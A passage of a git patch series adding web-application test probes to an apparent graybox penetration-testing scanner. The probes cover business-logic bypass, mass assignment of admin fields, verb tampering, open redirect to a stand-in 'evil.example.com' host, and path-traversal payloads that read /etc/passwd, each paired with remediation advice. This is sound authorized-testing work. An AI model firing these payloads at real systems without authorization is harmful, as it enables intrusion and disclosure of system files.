self.target_config.business_logic.record_endpoints + if not endpoints: + return + + import re + + idor_ids = [1, 2] + for iep in self.target_config.access_control.idor_endpoints: + if iep.test_ids: + idor_ids = iep.test_ids + break + + bypass_evidence = [] + + for ep in endpoints: + path = ep.path + if "{id}" in path: + path = path.replace("{id}", str(idor_ids[0])) + url = self.target_url + path + + # Step 1: GET the form to extract current state and CSRF token + self.safety.throttle() + try: + page = self.auth.official_session.get(url, timeout=10) + except Exception: + continue + if page.status_code != 200: + continue + + csrf_field = self.auth.detected_csrf_field + csrf_token = None + if csrf_field: + csrf_token = self.auth.extract_csrf_value(page.text, csrf_field) + + # Extract all form fields with current values. + # Parse (any type), ', + page.text, re.I | re.DOTALL, + ): + form_fields[m.group(1)] = m.group(2).strip() + # Extract ', + page.text, re.I | re.DOTALL, + ): + sel_name = sel.group(1) + sel_body = sel.group(2) + opt = re.search(r']*selected[^>]*value=["\']([^"\']+)', sel_body, re.I) + if not opt: + opt = re.search(r']*value=["\']([^"\']+)["\'][^>]*selected', sel_body, re.I) + if opt: + form_fields[sel_name] = opt.group(1) + + current_status = form_fields.get(ep.status_field) + + # Test A: Negative amount + self.safety.throttle() + payload = dict(form_fields) + payload[ep.amount_field] = "-9999.99" + if csrf_token and csrf_field: + payload[csrf_field] = csrf_token + headers = {"Referer": url} + if csrf_token: + headers["X-CSRFToken"] = csrf_token + + try: + resp = self.auth.official_session.post( + url, data=payload, headers=headers, + timeout=10, allow_redirects=False, + ) + except Exception: + resp = None + + if resp is not None: + # Success indicators: 302 redirect (form accepted) or 200 without error + accepted = resp.status_code in (301, 302) + if not accepted and resp.status_code == 200: + body_lower = resp.text.lower() + error_markers = ["must be", "invalid", "error", "cannot", "negative"] + accepted = not any(m in body_lower for m in error_markers) + if accepted: + bypass_evidence.append(f"negative_amount_accepted=True; endpoint={path}") + + # Test B: Invalid state transition (if transitions are configured) + if ep.valid_transitions and current_status: + valid_next = set(ep.valid_transitions.get(current_status, [])) + # Find an invalid target state + all_states = set() + for targets in ep.valid_transitions.values(): + all_states.update(targets) + all_states.update(ep.valid_transitions.keys()) + invalid_states = all_states - valid_next - {current_status} + + if invalid_states: + invalid_target = sorted(invalid_states)[0] + self.safety.throttle() + + # Re-fetch CSRF token (may have been consumed) + if csrf_field: + try: + page2 = self.auth.official_session.get(url, timeout=10) + csrf_token = self.auth.extract_csrf_value(page2.text, csrf_field) + except Exception: + pass + + payload2 = dict(form_fields) + payload2[ep.status_field] = invalid_target + payload2[ep.amount_field] = form_fields.get(ep.amount_field, "100.00") + if csrf_token and csrf_field: + payload2[csrf_field] = csrf_token + headers2 = {"Referer": url} + if csrf_token: + headers2["X-CSRFToken"] = csrf_token + + try: + resp2 = self.auth.official_session.post( + url, data=payload2, headers=headers2, + timeout=10, allow_redirects=False, + ) + except Exception: + resp2 = None + + if resp2 is not None: + accepted2 = resp2.status_code in (301, 302) + if not accepted2 and resp2.status_code == 200: + body_lower = resp2.text.lower() + error_markers = ["must be", "invalid", "error", "cannot", "blocked", "transition"] + accepted2 = not any(m in body_lower for m in error_markers) + if accepted2: + bypass_evidence.append( + f"invalid_transition_accepted=True; " + f"from={current_status}; to={invalid_target}; endpoint={path}" + ) + + if bypass_evidence: + self.findings.append(GrayboxFinding( + scenario_id="PT-A06-02", + title="Business logic validation bypass", + status="vulnerable", + severity="HIGH", + owasp="A06:2021", + cwe=["CWE-20", "CWE-840"], + attack=["T1190"], + evidence=bypass_evidence, + replay_steps=[ + "Log in as authenticated user.", + "Submit form with negative amount or invalid state transition.", + "Observe server accepts the invalid input.", + ], + remediation="Enforce server-side validation for monetary amounts (>= 0) " + "and business state machine transitions. " + "Never rely on client-side validation alone.", + )) + elif endpoints: + self.findings.append(GrayboxFinding( + scenario_id="PT-A06-02", + title="Business logic validation — no bypass detected", + status="not_vulnerable", + severity="INFO", + owasp="A06:2021", + evidence=[f"endpoints_tested={len(endpoints)}"], + )) diff --git a/extensions/business/cybersec/red_mesh/graybox/probes/misconfig.py b/extensions/business/cybersec/red_mesh/graybox/probes/misconfig.py index 8a91b332..27c666c4 100644 --- a/extensions/business/cybersec/red_mesh/graybox/probes/misconfig.py +++ b/extensions/business/cybersec/red_mesh/graybox/probes/misconfig.py @@ -20,6 +20,8 @@ def run(self): self.run_safe("cookie_attributes", self._test_cookie_attributes) self.run_safe("csrf_bypass", self._test_csrf_bypass) self.run_safe("session_token", self._test_session_token) + self.run_safe("login_rate_limiting", self._test_login_rate_limiting) + self.run_safe("password_reset_token", self._test_password_reset_token) return self.findings def _test_debug_exposure(self): @@ -364,3 +366,250 @@ def _test_session_token(self): remediation="Use cryptographically random session IDs (128+ bits). " "Never use alg=none in JWT. Validate JWT signatures server-side.", )) + + def _test_login_rate_limiting(self): + """ + PT-A02-07: test if login endpoint enforces rate limiting or account lockout. + + Sends a bounded burst of failed login attempts and checks whether the + server blocks, throttles, or continues to accept them unchanged. + """ + session = self.auth.make_anonymous_session() + login_url = self.target_url + self.target_config.login_path + + try: + page = session.get(login_url, timeout=10) + except Exception: + session.close() + return + + csrf_field = self.auth.detected_csrf_field + csrf_token = None + if csrf_field: + csrf_token = self.auth.extract_csrf_value(page.text, csrf_field) + + # Use a non-existent username to avoid locking a real account + test_username = "ratelimit_probe_user_nonexist" + attempts = 8 + blocked = False + lockout_markers = [ + "account locked", "too many attempts", "temporarily blocked", + "account suspended", "try again later", "rate limit", + ] + + for i in range(attempts): + self.safety.throttle(min_delay=0.1) + + # Re-extract CSRF token each time (some frameworks rotate it) + if csrf_field and i > 0: + try: + page = session.get(login_url, timeout=10) + csrf_token = self.auth.extract_csrf_value(page.text, csrf_field) + except Exception: + pass + + payload = { + self.target_config.username_field: test_username, + self.target_config.password_field: f"wrong_password_{i}", + } + if csrf_token and csrf_field: + payload[csrf_field] = csrf_token + + try: + resp = session.post( + login_url, data=payload, + headers={"Referer": login_url}, + timeout=10, + ) + except Exception: + continue + + if resp.status_code == 429: + blocked = True + break + body_lower = resp.text.lower() + if any(m in body_lower for m in lockout_markers): + blocked = True + break + + session.close() + + if not blocked: + self.findings.append(GrayboxFinding( + scenario_id="PT-A02-07", + title="Login rate limiting not enforced", + status="vulnerable", + severity="MEDIUM", + owasp="A02:2021", + cwe=["CWE-307"], + attack=["T1110"], + evidence=[ + f"endpoint={login_url}", + f"attempts={attempts}", + "lockout_triggered=False", + "rate_limiting_detected=False", + ], + replay_steps=[ + f"Send {attempts} failed login attempts in rapid succession.", + "Observe no lockout or rate limiting response.", + ], + remediation="Implement account lockout after repeated failures. " + "Add rate limiting (e.g. 429 responses) on login endpoints.", + )) + else: + self.findings.append(GrayboxFinding( + scenario_id="PT-A02-07", + title="Login rate limiting — enforced", + status="not_vulnerable", + severity="INFO", + owasp="A02:2021", + evidence=[ + f"endpoint={login_url}", + f"lockout_triggered_after={attempts}_or_fewer_attempts", + ], + )) + + def _test_password_reset_token(self): + """ + PT-A07-02: test password reset token predictability. + + Requests two reset tokens for the same user and checks: + 1. Token is exposed in the response body (info leak). + 2. Token matches a predictable pattern (e.g. reset-{username}). + 3. Token is identical across requests (no randomness). + """ + reset_path = self.target_config.password_reset_path + if not reset_path: + return + + session = self.auth.make_anonymous_session() + reset_url = self.target_url + reset_path + test_username = self.auth.target_config.username_field and "admin" + + # Get CSRF token for the reset form + try: + page = session.get(reset_url, timeout=10) + except Exception: + session.close() + return + + if page.status_code == 404: + session.close() + return + + csrf_field = self.auth.detected_csrf_field + csrf_token = None + if csrf_field: + csrf_token = self.auth.extract_csrf_value(page.text, csrf_field) + + import re + tokens = [] + for i in range(2): + self.safety.throttle() + if i > 0 and csrf_field: + try: + page = session.get(reset_url, timeout=10) + csrf_token = self.auth.extract_csrf_value(page.text, csrf_field) + except Exception: + pass + + payload = {"username": test_username} + if csrf_token and csrf_field: + payload[csrf_field] = csrf_token + + try: + resp = session.post( + reset_url, data=payload, + headers={"Referer": reset_url}, + timeout=10, allow_redirects=True, + ) + except Exception: + continue + + # Look for token-like strings in the response + body = resp.text + # Common patterns: "token": "...", token=..., /confirm?token=... + token_patterns = [ + re.compile(r'reset[-_]token["\s:=]+([a-zA-Z0-9_-]{4,})', re.I), + re.compile(r'token["\s:=]+([a-zA-Z0-9_-]{8,})', re.I), + re.compile(r'Your reset (?:token|code)[^<]*?(\S{4,})', re.I), + # Direct token display (e.g. "reset-admin") + re.compile(r'(reset-\w+)', re.I), + ] + for pat in token_patterns: + m = pat.search(body) + if m: + tokens.append(m.group(1)) + break + + session.close() + + evidence = [] + status = "not_vulnerable" + issues = [] + + if len(tokens) >= 1: + evidence.append(f"token_exposed_in_response=True") + issues.append("token_leaked_in_body") + + if len(tokens) >= 2 and tokens[0] == tokens[1]: + evidence.append(f"tokens_identical=True") + issues.append("no_randomness") + + for token in tokens: + # Check for predictable format: reset-{username} + if token.lower() == f"reset-{test_username}".lower(): + evidence.append(f"predictable_token_format=reset-{{username}}") + issues.append("predictable_format") + break + # Check for very short tokens + if len(token) < 16: + evidence.append(f"token_length={len(token)}") + issues.append("short_token") + break + + if "predictable_format" in issues or "no_randomness" in issues: + status = "vulnerable" + elif "token_leaked_in_body" in issues or "short_token" in issues: + status = "inconclusive" + + if status == "vulnerable": + self.findings.append(GrayboxFinding( + scenario_id="PT-A07-02", + title="Predictable password reset tokens", + status="vulnerable", + severity="HIGH", + owasp="A07:2021", + cwe=["CWE-640", "CWE-330"], + attack=["T1110"], + evidence=evidence, + replay_steps=[ + f"POST to {reset_path} with username={test_username}.", + "Extract token from response body.", + "Observe token matches predictable pattern.", + ], + remediation="Use cryptographically random tokens (128+ bits). " + "Never expose tokens in HTML responses. " + "Enforce single-use and short expiration.", + )) + elif status == "inconclusive": + self.findings.append(GrayboxFinding( + scenario_id="PT-A07-02", + title="Password reset token — potential weakness", + status="inconclusive", + severity="LOW", + owasp="A07:2021", + cwe=["CWE-640"], + evidence=evidence, + remediation="Use cryptographically random tokens (128+ bits). " + "Do not expose tokens in HTML responses.", + )) + elif tokens: + self.findings.append(GrayboxFinding( + scenario_id="PT-A07-02", + title="Password reset token — no weakness detected", + status="not_vulnerable", + severity="INFO", + owasp="A07:2021", + evidence=[f"tokens_checked={len(tokens)}"], + )) From 2973a2afd31e165c15d84fcb86f11de9ae73deca Mon Sep 17 00:00:00 2001 From: toderian Date: Wed, 11 Mar 2026 10:36:06 +0000 Subject: [PATCH 062/114] fix: add more graybox tests (path traversal, session fixation...) --- .../red_mesh/graybox/probes/access_control.py | 282 +++++++++++++++++- .../red_mesh/graybox/probes/injection.py | 210 +++++++++++++ .../red_mesh/graybox/probes/misconfig.py | 241 +++++++++++++++ .../red_mesh/tests/test_probes_access.py | 122 ++++++++ .../red_mesh/tests/test_probes_injection.py | 92 ++++++ .../red_mesh/tests/test_probes_misconfig.py | 172 +++++++++++ 6 files changed, 1117 insertions(+), 2 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/graybox/probes/access_control.py b/extensions/business/cybersec/red_mesh/graybox/probes/access_control.py index da8d9867..c6448df4 100644 --- a/extensions/business/cybersec/red_mesh/graybox/probes/access_control.py +++ b/extensions/business/cybersec/red_mesh/graybox/probes/access_control.py @@ -1,5 +1,5 @@ """ -Access control probes — A01 IDOR + privilege escalation. +Access control probes — A01 IDOR + privilege escalation + verb tampering + mass assignment. """ import re @@ -9,7 +9,10 @@ class AccessControlProbes(ProbeBase): - """PT-A01-01 IDOR/BOLA, PT-A01-02 function-level authorization bypass.""" + """ + PT-A01-01 IDOR/BOLA, PT-A01-02 function-level authorization bypass, + PT-A01-03 HTTP verb tampering, PT-A04-01 mass assignment. + """ requires_auth = True requires_regular_session = True @@ -20,6 +23,20 @@ def run(self): self.run_safe("idor", self._test_idor) if self.auth.regular_session: self.run_safe("privilege_escalation", self._test_privilege_esc) + if self.auth.regular_session: + self.run_safe("verb_tampering", self._test_verb_tampering) + if self.auth.regular_session and self._allow_stateful: + self.run_safe("mass_assignment", self._test_mass_assignment) + elif self.auth.regular_session: + self.findings.append(GrayboxFinding( + scenario_id="PT-A04-01", + title="Mass assignment probe skipped: stateful probes disabled", + status="inconclusive", + severity="INFO", + owasp="A04:2021", + evidence=["stateful_probes_disabled=True", + "reason=mass_assignment_modifies_target_data"], + )) return self.findings def _test_idor(self): @@ -170,3 +187,264 @@ def _test_privilege_esc(self): ], remediation="Require admin role and deny by default for all privileged functions.", )) + + def _test_verb_tampering(self): + """ + PT-A01-03: test if access controls can be bypassed by changing HTTP method. + + Takes admin endpoints that should deny regular users and retries with + alternative HTTP methods (PUT, PATCH, DELETE). Some frameworks only + enforce authorization on GET/POST but pass through other verbs. + """ + endpoints = self.target_config.access_control.admin_endpoints + if not endpoints: + return + + alternative_methods = ["PUT", "PATCH", "DELETE", "OPTIONS"] + denial_markers = ["access denied", "permission denied", "forbidden", + "not authorized", "unauthorized", "403"] + + tested = 0 + bypass_evidence = [] + + for ep in endpoints: + # First, confirm the endpoint denies regular user via its normal method. + self.safety.throttle() + url = self.target_url + ep.path + try: + baseline = self.auth.regular_session.request( + ep.method.upper(), url, timeout=10, + ) + except Exception: + continue + + # Only test verb tampering if the baseline is denied (403/401/302-to-login) + baseline_denied = baseline.status_code in (401, 403) + if not baseline_denied and baseline.status_code == 200: + body_lower = baseline.text.lower() + baseline_denied = any(m in body_lower for m in denial_markers) + if not baseline_denied and baseline.status_code in (301, 302): + location = baseline.headers.get("Location", "").lower() + baseline_denied = "login" in location + if not baseline_denied: + continue # endpoint already accessible — not a verb tampering target + + # Try alternative methods + for method in alternative_methods: + self.safety.throttle() + try: + resp = self.auth.regular_session.request(method, url, timeout=10) + except Exception: + continue + tested += 1 + + if resp.status_code < 400 and resp.status_code not in (301, 302): + body_lower = resp.text.lower() + if not any(m in body_lower for m in denial_markers): + bypass_evidence.append( + f"endpoint={ep.path}; denied_method={ep.method}; " + f"accepted_method={method}; status={resp.status_code}" + ) + break # one bypass per endpoint is enough + + if bypass_evidence: + self.findings.append(GrayboxFinding( + scenario_id="PT-A01-03", + title="HTTP verb tampering bypass", + status="vulnerable", + severity="HIGH", + owasp="A01:2021", + cwe=["CWE-650"], + attack=["T1190"], + evidence=bypass_evidence, + replay_steps=[ + "Log in as regular user.", + "Send request to admin endpoint using alternative HTTP method.", + "Observe access granted despite method-based restriction.", + ], + remediation="Enforce authorization checks regardless of HTTP method. " + "Deny all methods by default and explicitly allow required ones.", + )) + elif tested > 0: + self.findings.append(GrayboxFinding( + scenario_id="PT-A01-03", + title="HTTP verb tampering — no bypass detected", + status="not_vulnerable", + severity="INFO", + owasp="A01:2021", + evidence=[f"endpoints_tested={len(endpoints)}", f"methods_tested={tested}"], + )) + + def _test_mass_assignment(self): + """ + PT-A04-01: test if the server binds unauthorized privilege fields. + + Submits forms as regular user with injected privilege fields + (is_admin, role, is_staff, etc.) and checks if the server accepts + and persists them. Stateful — gated behind allow_stateful. + """ + # Collect testable endpoints: discovered forms + configured record endpoints + skip_paths = {self.target_config.login_path, self.target_config.logout_path} + form_paths = [f for f in self.discovered_forms if f not in skip_paths] + + # Also add configured record endpoints (these accept form POSTs) + for ep in self.target_config.business_logic.record_endpoints: + path = ep.path + if "{id}" in path: + idor_ids = [1, 2] + for iep in self.target_config.access_control.idor_endpoints: + if iep.test_ids: + idor_ids = iep.test_ids + break + path = path.replace("{id}", str(idor_ids[0])) + if path not in skip_paths: + form_paths.append(path) + + if not form_paths: + return + + # Privilege escalation fields to inject + priv_fields = { + "is_admin": "true", + "is_staff": "true", + "is_superuser": "true", + "role": "admin", + "admin": "true", + "user_type": "admin", + "privilege_level": "10", + "group": "administrators", + } + + tested = 0 + accepted_evidence = [] + + for form_path in form_paths[:5]: # cap at 5 forms + self.safety.throttle() + url = self.target_url + form_path + + # GET the form to extract existing fields + CSRF token + try: + page = self.auth.regular_session.get(url, timeout=10) + except Exception: + continue + if page.status_code != 200: + continue + + # Extract form fields + form_fields = {} + for tag in re.finditer(r']*)>', page.text, re.I): + attrs = tag.group(1) + name_m = re.search(r'name=["\']([^"\']+)', attrs) + val_m = re.search(r'value=["\']([^"\']*)', attrs) + if name_m: + form_fields[name_m.group(1)] = val_m.group(1) if val_m else "" + for m in re.finditer( + r']+name=["\']([^"\']+)["\'][^>]*>(.*?)', + page.text, re.I | re.DOTALL, + ): + form_fields[m.group(1)] = m.group(2).strip() + for sel in re.finditer( + r']+name=["\']([^"\']+)["\'][^>]*>(.*?)', + page.text, re.I | re.DOTALL, + ): + sel_name = sel.group(1) + sel_body = sel.group(2) + opt = re.search(r']*selected[^>]*value=["\']([^"\']+)', sel_body, re.I) + if not opt: + opt = re.search(r']*value=["\']([^"\']+)["\'][^>]*selected', sel_body, re.I) + if opt: + form_fields[sel_name] = opt.group(1) + + if not form_fields: + continue + + csrf_field = self.auth.detected_csrf_field + csrf_token = None + if csrf_field: + csrf_token = self.auth.extract_csrf_value(page.text, csrf_field) + + # Build payload: existing fields + injected privilege fields + payload = dict(form_fields) + # Remove CSRF field from form_fields (will add fresh one) + if csrf_field and csrf_field in payload: + del payload[csrf_field] + payload.update(priv_fields) + if csrf_token and csrf_field: + payload[csrf_field] = csrf_token + + headers = {"Referer": url} + if csrf_token: + headers["X-CSRFToken"] = csrf_token + + self.safety.throttle() + try: + resp = self.auth.regular_session.post( + url, data=payload, headers=headers, + timeout=10, allow_redirects=False, + ) + except Exception: + continue + tested += 1 + + # Check if server accepted the request + accepted = resp.status_code in (200, 301, 302) + if accepted and resp.status_code == 200: + body_lower = resp.text.lower() + error_markers = ["error", "invalid", "not allowed", "forbidden", + "unknown field", "unexpected"] + if any(m in body_lower for m in error_markers): + accepted = False + + if not accepted: + continue + + # Verify: GET the page again and check if privilege fields are reflected + self.safety.throttle() + try: + verify = self.auth.regular_session.get(url, timeout=10) + except Exception: + continue + + persisted_fields = [] + verify_lower = verify.text.lower() + for field_name, field_value in priv_fields.items(): + # Check for field=value in response (JSON or HTML attribute) + if (f'"{field_name}": "{field_value}"' in verify_lower or + f'"{field_name}":"{field_value}"' in verify_lower or + f"value=\"{field_value}\"" in verify.text and field_name in verify.text or + f'name="{field_name}"' in verify.text and f'value="{field_value}"' in verify.text): + persisted_fields.append(field_name) + + if persisted_fields: + accepted_evidence.append( + f"endpoint={form_path}; persisted_fields={','.join(persisted_fields)}" + ) + + if accepted_evidence: + self.findings.append(GrayboxFinding( + scenario_id="PT-A04-01", + title="Mass assignment — privilege field accepted", + status="vulnerable", + severity="HIGH", + owasp="A04:2021", + cwe=["CWE-915"], + attack=["T1078"], + evidence=accepted_evidence, + replay_steps=[ + "Log in as regular user.", + "Submit form with additional privilege fields (is_admin, role, etc.).", + "Observe server persists the injected privilege fields.", + ], + remediation="Use explicit field allowlists in form/API binding. " + "Never bind user input directly to model attributes. " + "Django: use ModelForm.Meta.fields. Rails: use strong_parameters.", + )) + elif tested > 0: + self.findings.append(GrayboxFinding( + scenario_id="PT-A04-01", + title="Mass assignment — no privilege escalation detected", + status="not_vulnerable", + severity="INFO", + owasp="A04:2021", + evidence=[f"forms_tested={tested}"], + )) diff --git a/extensions/business/cybersec/red_mesh/graybox/probes/injection.py b/extensions/business/cybersec/red_mesh/graybox/probes/injection.py index f9b4164c..1326881d 100644 --- a/extensions/business/cybersec/red_mesh/graybox/probes/injection.py +++ b/extensions/business/cybersec/red_mesh/graybox/probes/injection.py @@ -37,6 +37,9 @@ def run(self): "reason=stored_xss_writes_data_to_target"], )) self.run_safe("ssrf", self._test_ssrf) + self.run_safe("open_redirect", self._test_open_redirect) + if self.auth.official_session: + self.run_safe("path_traversal", self._test_path_traversal) return self.findings def _test_login_injection(self): @@ -377,3 +380,210 @@ def _test_ssrf(self): remediation="Investigate with out-of-band callback to confirm blind SSRF.", )) return + + def _test_open_redirect(self): + """ + PT-A01-04: test URL parameters for open redirect vulnerabilities. + + Tests common redirect parameter names (next, url, redirect, return_to, + continue, dest, goto, forward) with an external domain payload. + Checks if the response issues a redirect to the attacker-controlled domain. + + Read-only: only sends GET requests with modified query parameters. + """ + session = self.auth.official_session or self.auth.anon_session + if not session: + return + + redirect_params = [ + "next", "url", "redirect", "redirect_url", "return_to", "return", + "continue", "dest", "destination", "goto", "forward", "redir", + "returnUrl", "redirect_uri", "callback", + ] + payload = "//evil.example.com" + payload_alt = "https://evil.example.com" + + # Test against: login page (common redirect after login), discovered routes + test_paths = [self.target_config.login_path, self.target_config.logout_path] + for route in self.discovered_routes: + test_paths.append(route) + # Deduplicate + seen = set() + unique_paths = [] + for p in test_paths: + if p and p not in seen: + seen.add(p) + unique_paths.append(p) + + tested = 0 + vulnerable_evidence = [] + + for path in unique_paths[:10]: # cap to avoid excessive requests + for param in redirect_params: + self.safety.throttle() + url = self.target_url + path + try: + resp = session.get( + url, params={param: payload}, + timeout=10, allow_redirects=False, + ) + except Exception: + continue + tested += 1 + + # Check for redirect to evil domain + if resp.status_code in (301, 302, 303, 307, 308): + location = resp.headers.get("Location", "") + if "evil.example.com" in location: + vulnerable_evidence.append( + f"endpoint={path}; param={param}; location={location}" + ) + break # one redirect per path is enough + + # Also test the alternate payload (full URL) + if not vulnerable_evidence or vulnerable_evidence[-1].split(";")[0] != f"endpoint={path}": + self.safety.throttle() + try: + resp2 = session.get( + url, params={param: payload_alt}, + timeout=10, allow_redirects=False, + ) + except Exception: + continue + tested += 1 + + if resp2.status_code in (301, 302, 303, 307, 308): + location2 = resp2.headers.get("Location", "") + if "evil.example.com" in location2: + vulnerable_evidence.append( + f"endpoint={path}; param={param}; location={location2}" + ) + break + + if len(vulnerable_evidence) >= 3: + break # enough evidence + + if vulnerable_evidence: + self.findings.append(GrayboxFinding( + scenario_id="PT-A01-04", + title="Open redirect via URL parameter", + status="vulnerable", + severity="MEDIUM", + owasp="A01:2021", + cwe=["CWE-601"], + attack=["T1566"], + evidence=vulnerable_evidence, + replay_steps=[ + "Navigate to the vulnerable endpoint with redirect parameter.", + f"Set parameter to {payload} or {payload_alt}.", + "Observe 3xx redirect to attacker-controlled domain.", + ], + remediation="Validate redirect targets against a server-side allowlist. " + "Use relative paths only, or verify the destination host " + "matches your domain. Never pass user input directly to " + "Location headers.", + )) + elif tested > 0: + self.findings.append(GrayboxFinding( + scenario_id="PT-A01-04", + title="Open redirect — no vulnerability detected", + status="not_vulnerable", + severity="INFO", + owasp="A01:2021", + evidence=[f"parameters_tested={tested}"], + )) + + def _test_path_traversal(self): + """ + PT-A03-03: test parameters for directory traversal vulnerabilities. + + Tests query parameters and path segments in discovered routes with + path traversal payloads. Checks response body for OS file content + markers (e.g. root:x: from /etc/passwd). + + Read-only: only sends GET requests with modified parameters. + """ + session = self.auth.official_session + if not session: + return + + traversal_payloads = [ + ("../../../../../../etc/passwd", ["root:x:", "root:*:", "daemon:", "nobody:"]), + ("..\\..\\..\\..\\..\\..\\windows\\win.ini", ["[extensions]", "[fonts]", "[mci extensions]"]), + ("....//....//....//....//etc/passwd", ["root:x:", "root:*:"]), # filter bypass + ] + # Common parameter names that might accept file paths + file_params = [ + "file", "path", "page", "doc", "document", "template", "include", + "name", "folder", "dir", "download", "filename", "filepath", + "view", "content", "layout", "resource", + ] + + # Collect routes that have query-like structure or path parameters + test_routes = [] + for route in self.discovered_routes: + test_routes.append(route) + # Always test the root as well + if "/" not in test_routes: + test_routes.append("/") + + tested = 0 + vulnerable_evidence = [] + + for route in test_routes[:10]: # cap to avoid excessive requests + url = self.target_url + route + + # Strategy 1: inject via query parameters + for param in file_params: + if tested > 60: + break # hard cap on total requests + for payload, markers in traversal_payloads: + self.safety.throttle() + try: + resp = session.get(url, params={param: payload}, timeout=10) + except Exception: + continue + tested += 1 + + if resp.status_code == 200: + body = resp.text + if any(m in body for m in markers): + vulnerable_evidence.append( + f"endpoint={route}; param={param}; payload={payload}" + ) + break # one hit per route+param is enough + if vulnerable_evidence: + break # found a hit on this route, move on + + if len(vulnerable_evidence) >= 3: + break + + if vulnerable_evidence: + self.findings.append(GrayboxFinding( + scenario_id="PT-A03-03", + title="Path traversal — file content disclosed", + status="vulnerable", + severity="HIGH", + owasp="A03:2021", + cwe=["CWE-22"], + attack=["T1083"], + evidence=vulnerable_evidence, + replay_steps=[ + "Log in as authenticated user.", + f"Request GET with traversal payload in file parameter.", + "Observe OS file contents (e.g. /etc/passwd) in response body.", + ], + remediation="Validate and sanitize all file path inputs server-side. " + "Use a whitelist of allowed files, canonicalize paths, " + "and ensure they stay within the application's base directory. " + "Never pass user input directly to file system operations.", + )) + elif tested > 0: + self.findings.append(GrayboxFinding( + scenario_id="PT-A03-03", + title="Path traversal — no vulnerability detected", + status="not_vulnerable", + severity="INFO", + owasp="A03:2021", + evidence=[f"requests_tested={tested}"], + )) diff --git a/extensions/business/cybersec/red_mesh/graybox/probes/misconfig.py b/extensions/business/cybersec/red_mesh/graybox/probes/misconfig.py index 27c666c4..f34473c8 100644 --- a/extensions/business/cybersec/red_mesh/graybox/probes/misconfig.py +++ b/extensions/business/cybersec/red_mesh/graybox/probes/misconfig.py @@ -22,6 +22,8 @@ def run(self): self.run_safe("session_token", self._test_session_token) self.run_safe("login_rate_limiting", self._test_login_rate_limiting) self.run_safe("password_reset_token", self._test_password_reset_token) + self.run_safe("session_fixation", self._test_session_fixation) + self.run_safe("account_enumeration", self._test_account_enumeration) return self.findings def _test_debug_exposure(self): @@ -613,3 +615,242 @@ def _test_password_reset_token(self): owasp="A07:2021", evidence=[f"tokens_checked={len(tokens)}"], )) + + def _test_session_fixation(self): + """ + PT-A07-03: test if session token rotates after successful login. + + Session fixation occurs when the session ID remains the same before + and after authentication. An attacker who can set a pre-auth session + cookie (via XSS, URL injection, or subdomain) gains full access once + the victim logs in with that same session ID. + + Compares pre-auth cookies from a fresh anonymous session against the + post-auth cookies on the already-established official session. + Read-only: does not perform additional logins. + """ + if not self.auth.official_session: + return + + login_url = self.target_url + self.target_config.login_path + + # Step 1: GET login page with a fresh session, capture pre-auth cookies + pre_session = self.auth.make_anonymous_session() + try: + pre_session.get(login_url, timeout=10, allow_redirects=True) + except Exception: + pre_session.close() + return + + pre_cookies = pre_session.cookies + if hasattr(pre_cookies, "get_dict"): + pre_cookies = pre_cookies.get_dict() + else: + pre_cookies = dict(pre_cookies) + + pre_session.close() + + if not pre_cookies: + return # no pre-auth cookies → can't test fixation + + # Step 2: get post-auth cookies from the existing official session + post_cookies = self.auth.official_session.cookies + if hasattr(post_cookies, "get_dict"): + post_cookies = post_cookies.get_dict() + else: + post_cookies = dict(post_cookies) + + if not post_cookies: + return # no post-auth cookies → can't compare + + # Step 3: compare session cookies + # Find cookies that exist in BOTH pre-auth and post-auth with the same value + csrf_field = self.auth.detected_csrf_field + csrf_names = {"csrftoken", "csrf_token", "_csrf"} + if csrf_field: + csrf_names.add(csrf_field.lower()) + + fixed_cookies = [] + for name, pre_value in pre_cookies.items(): + post_value = post_cookies.get(name) + if post_value and pre_value == post_value: + # Skip CSRF tokens — they're not session identifiers + if name.lower() in csrf_names: + continue + fixed_cookies.append(name) + + if fixed_cookies: + self.findings.append(GrayboxFinding( + scenario_id="PT-A07-03", + title="Session fixation — token not rotated after login", + status="vulnerable", + severity="HIGH", + owasp="A07:2021", + cwe=["CWE-384"], + attack=["T1550"], + evidence=[ + f"fixed_cookies={','.join(fixed_cookies)}", + "pre_auth_value_equals_post_auth_value=True", + ], + replay_steps=[ + "Obtain a pre-authentication session cookie.", + "Log in using valid credentials.", + "Observe that the session cookie value did not change.", + "An attacker who sets this cookie before login inherits the authenticated session.", + ], + remediation="Regenerate session ID after successful authentication. " + "Django: this is automatic. Flask: call session.regenerate(). " + "Rails: call reset_session in the login action.", + )) + else: + self.findings.append(GrayboxFinding( + scenario_id="PT-A07-03", + title="Session fixation — token properly rotated", + status="not_vulnerable", + severity="INFO", + owasp="A07:2021", + evidence=[ + f"pre_auth_cookies={len(pre_cookies)}", + f"post_auth_cookies={len(post_cookies)}", + "all_session_tokens_rotated=True", + ], + )) + + def _test_account_enumeration(self): + """ + PT-A07-04: test if login responses differ for valid vs invalid usernames. + + Compares error responses when submitting: + 1. A known-valid username with a wrong password + 2. A definitely-invalid username with a wrong password + + If the responses differ (different error message, status code, or + response length), attackers can enumerate valid accounts. + + Read-only: only submits failed login attempts. + """ + login_url = self.target_url + self.target_config.login_path + + # We need a known-valid username — use the official account username + valid_username = self.auth.target_config.username_field + # Actually, we need the actual username value, not the field name. + # We can infer it: if official_session exists, the configured username is valid. + # The username is not stored in AuthManager — use the regular_username from probe + # init, or fall back to common defaults. + valid_username = self.regular_username or "admin" + + invalid_username = "enum_probe_nonexistent_user_x9z7q" + wrong_password = "wrong_password_probe" + + session = self.auth.make_anonymous_session() + + def _submit_login(username): + """Submit a failed login and return (status_code, body, content_length).""" + try: + page = session.get(login_url, timeout=10) + except Exception: + return None + + csrf_field = self.auth.detected_csrf_field + csrf_token = None + if csrf_field: + csrf_token = self.auth.extract_csrf_value(page.text, csrf_field) + + payload = { + self.target_config.username_field: username, + self.target_config.password_field: wrong_password, + } + if csrf_token and csrf_field: + payload[csrf_field] = csrf_token + + try: + resp = session.post( + login_url, data=payload, + headers={"Referer": login_url}, + timeout=10, allow_redirects=True, + ) + except Exception: + return None + + return (resp.status_code, resp.text, len(resp.text)) + + self.safety.throttle() + result_valid = _submit_login(valid_username) + self.safety.throttle() + result_invalid = _submit_login(invalid_username) + + session.close() + + if not result_valid or not result_invalid: + return + + status_valid, body_valid, len_valid = result_valid + status_invalid, body_invalid, len_invalid = result_invalid + + differences = [] + + # Check status code difference + if status_valid != status_invalid: + differences.append(f"status_code: valid={status_valid}, invalid={status_invalid}") + + # Check for different error messages + # Extract the specific error text near common patterns + import re + error_patterns = [ + 